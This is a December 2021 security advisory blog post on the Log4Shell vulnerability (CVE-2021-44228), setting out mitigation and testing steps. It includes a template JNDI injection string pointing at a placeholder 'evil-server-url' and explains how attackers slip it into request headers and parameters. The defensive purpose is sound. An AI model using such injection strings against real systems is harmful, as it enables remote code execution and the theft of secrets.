πŸ”₯ Log4J / Log4Shell - Mitigation & Testing Advisory for the storm ahead

By Eugene Cheah | December 14, 2021

This post is about an active exploit : CVE-2021-44228

This article is written on 14th Dec 2021 - do note that the advisory here may be outdated in time, when new variants of the exploit are found.

UIlicious.com itself has fully mitigated the issue on the cloud platform, with no signs of exploitation as of 14th Dec 2021. Enterprise customers should contact your point-of-contact to coordinate updates for your on-premise installations.

If you run any web application and are clueless about what's happening, you need to sit down and read carefully: This is the worst server vulnerability exploit for 2021.

If you're reading this, and only started to fix things in Jan 2022 - work with the assumption that your servers are compromised.

How does this vulnerability work?

All you need is to get some version of the following text

${ jndi : <protocall> :// <evil-server-url> }

Into any log output, that is handled by log4j version 2.0 to 2.14.1 (from 2012).

Both log4j, and apache commons-logging, are libraries that are popular libraries used in the majority (80%+) of all Java Applications, to manage application logging.

In essence, the exploit involves executing malicious commands in between the β€œ${ }” characters, where the log4j program would substitute its values with the command within.

Such a command could either download and execute any java code, which would allow the attacker to take over your server, mine cryptocurrencies (typically via JNDI), or directly send and leak out sensitive secrets, which can then be used in another attack.

But how would an attacker input such a text string?

Using any HTTP request parameter, or even headers (like the browser name) that you are logging, into a request on your app. Even if they are not logged in.

Why? Because it is extremely common to log unknown requests and errors into the logs to help fix things - or in this scenario, cause problems.

Why should I worry even if my team doesn't write Java apps, nor use the outdated log4j library?

Do not be fooled into thinking you are safe "just because your API is safe". This is just the tip of the iceberg.

This is not just about your java API application and your team's developers' usage of log4j.

It includes the usage of log4j against the various application or code libraries your team depends on, or their nested dependencies. Even if you are not coding in Java, your log monitoring tools (like logstash) may be in java.

It includes any routers programs you may run on your network - where java is extremely common. Servlet hosting applications like tomcat. Your classic enterprise system is like SAP. Or that random vendor for an application in your network.

Even the firewall, and security tool programs are vulnerable.

Even the software you once thought did not use java, does so under the hood.

You get the idea - the list is long and growing by the day: https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

So yea. - It's safer for you to run on the assumption that everything is vulnerable.

What's the action plan my organization needs?

So now that you and your organization are convinced - what are the next steps? Here is an action plan for you, modify according to your needs.

Immediate action plan (next 48 hours)

1) Get a Web Application Firewall (WAF)2) Configure the environment variable "LOG4JFORMATMSGNOLOOKUPS=true"3) Block outgoing communication (when possible)

Long term action plan (next 2 months+)

4) Track internally all your application status5) Test directly to check if your site is affected6) Scan your packages - to hunt down what has been missed7) Stay up to date on the #Log4Shell news8) Make decisions on applications that fall through the cracks9) Update software as it’s being rolled out10) Update hardware on the network

Immediate Action Plan (next 48 hours)

Most of the efforts here would be done by the infrastructure teamManagers should help ensure resources & processes are cleared for the infra team.

1) Get a Web Application Firewall (WAF) running in front of your web app.

If you are reading this now (late), chances are you do not have a dedicated security team. The means to exploit this vulnerability are mutating and changing on a daily basis. It is going to be impossible for you to keep up unless you have a dedicated security team.

Go get your infra team to deploy a WAF, if you can't afford it, go use a free one like Cloudflare

While it may not protect you against 100% of all attacks, it would protect you from a good majority of all attacks. This is where you make use of their multi-million dollar security team, to constantly update the firewall pattern on your site for free.

This buys you time against automated attacks. While you get all the other fixes in place. And considering that Cloudflare is free - there really is no excuse not to have a WAF enabled. (We are not affiliated nor sponsored by cloud flare)

2) Configure the environment variable "LOG4JFORMATMSGNOLOOKUPS=true"

At the heart of the vulnerability, is the "feature" of log4j to do a variable lookup, via the ${} symbols. You can disable this "feature" by configuring the above environment variable across all your environments. This is significantly easier to manage in docker/Kubernetes, as it's a matter of updating the configuration for all your deployments.

Your infra team can help coordinate the configuration of this environment variable system-wide typically under 48 hours.

While this only mitigates the issue for log4J 2.10 (Nov 2017) and above. This should significantly reduce the vulnerability if you had all your vendor applications up to date recently.

Note that it's not impossible for your vendor application to be using an out-of-date logging library even if you updated it recently. But it does significantly reduce the chances of it happening.

3) Block outgoing communication (when possible)

Note that the following may be limited by your cloud provider firewall support - and/or you have the budget for it. Do the following, when possible

Note: as of time of writing, unless your application is isolated from the internet the effectiveness of this approach is questionable. A DNS based exploits to read secret variables are already being observed in the wild. And more novel ways are expected to appear. We will still however recommend its implementation, to help detect the exploit.We will also acknowledge that depending on individual setups, the suggestions here may not be possible.

Long Term Action Plan (next 2 months+)

Most of the efforts here should be lead by your "Project Management" team, as it involves multiple stakeholders and points of contact to coordinate.

4) Track internally your application status

Once you have your immediate defenses in place. You should switch over to detecting and fixing affected sites. You should start running a working list within your organization.

This can be a spreadsheet, a task board, or a document. Use whatever suits you.

5) Test directly to check if your site is affected

Note you may need to perform these tests without the WAF firewall

Fortunately (or unfortunately) testing if your site is affected is surprisingly easy. You can use vulnerability testing sites such as https://log4shell.huntress.com/ to generate a test string, which you can attempt to inject into your site over various forms (such as a login) or even to the API directly.

If you have a large number of sites, and would not want to manually test it, shameless plug here - automate it using UIlicious: https://snippet.uilicious.com/test/public/JmcECc2oGwFpgkRHva1ftb

Because the code snippet is time-limited, feel free to sign up for a trial, modify the script into an array of sites. And run it.

If any of the attack attempts succeed. You have confirmed the vulnerability.

If the attack failed, assume uncertain status.

6) Scan your packages - to hunt down what has not been fixed

If you are using a Docker-based solution, enable registry scanning on your provider (docker hub, google cloud, etc). If you're not using a docker-based setup, find alternatives.

Ensure that all deployment images are cleared by your registry.

This will help you keep track of which packages are vulnerable, and which packages are not. Find out for the packages affected, how they are vulnerable

Not because there is a reasonable chance the package included log4j but are not using it, due to the popularity of the project. Use the results as indicators of vulnerability, not conclusions.

Additionally, you should not believe your vendor blindly and only considered them as "patched" only after they update the package.

This process will also help provide you with the log4j version deployed on your platform, allowing you to use the environment variable solution as a stop-gap measure.

Depending on your risk appetite, you may consider packages to be "clear" if nothing is reported by your registry scanner, and/or found that the application is not java based.

However considering how integrated Apache commons and log4j can be in surprising places. We would recommend waiting till at least Jan 2022. Where we will have a clearer picture of affected packages, for a more accurate scan and conclusion.

7) Make decisions on the applications that fall through the gaps

Hopefully, by this point between immediate updates, and the environment variable disabling, you would only have a small handful of deployments with affected versions (< 2.10) - which will require you to perform the following actions.

8) Let the updates roll!

Reminder: It's the Christmas & New Year season. Your updates will take a long time to come. So let's do what we can.

It will take time over the next few days as news trickle in to confirm which dependencies or projects are vulnerable and how. Along with the fixes.

Realize unless you have a perfect (you dun) inventory of all packages in your infrastructure. This will have gaps, which you will need to hunt down with package scanning.

9) Update the hardware on your network

Finally, once you cleared your cloud and/or servers. Move on to all the other hardware attached to your network. (Cisco, and Ubiquiti are among the few that have already been confirmed)

With the final two, being various versions of hell

Because hardware on your network is case-by-case specific, start forming a plan with the assumption that devices may be compromised. And move from there.

~ Stay Safe out there: This too shall pass

https://twitter.com/picocreator/status/1470715184641568771

The following are extra notes, that may not be relevant to most folks

I'm not an "IT Person" in the company, all this information is lost on me

Check if your IT Security Team is aware of this issue. If not, use this article, or tell them to google "Log4Shell" - this will get them panicking quickly (hopefully)

What if my boss/superior/client does not take this seriously?

This can come back to bite you, so prepare for the worse.

Send an email, get it in writing, back up the email (especially if the email server may potentially be vulnerable). You will need your paper trail - that it is not your fault - that your superiors did not let you do your job in helping prevent this. This is to prevent others from blaming you for "not taking action when you knew about it".

Only after getting your black and white defense - then do you, go up the chain.

Because if you are certain you have vulnerabilities on the platform. Bring it up to the highest level if need to, get the buy-in from other technical folks. Or wait for the eventual storm - and defend yourself and what you can. The choice is yours here.

About Eugene Cheah

Does UI test automation, web app development, and part of the GPUJS team.

Read more posts by me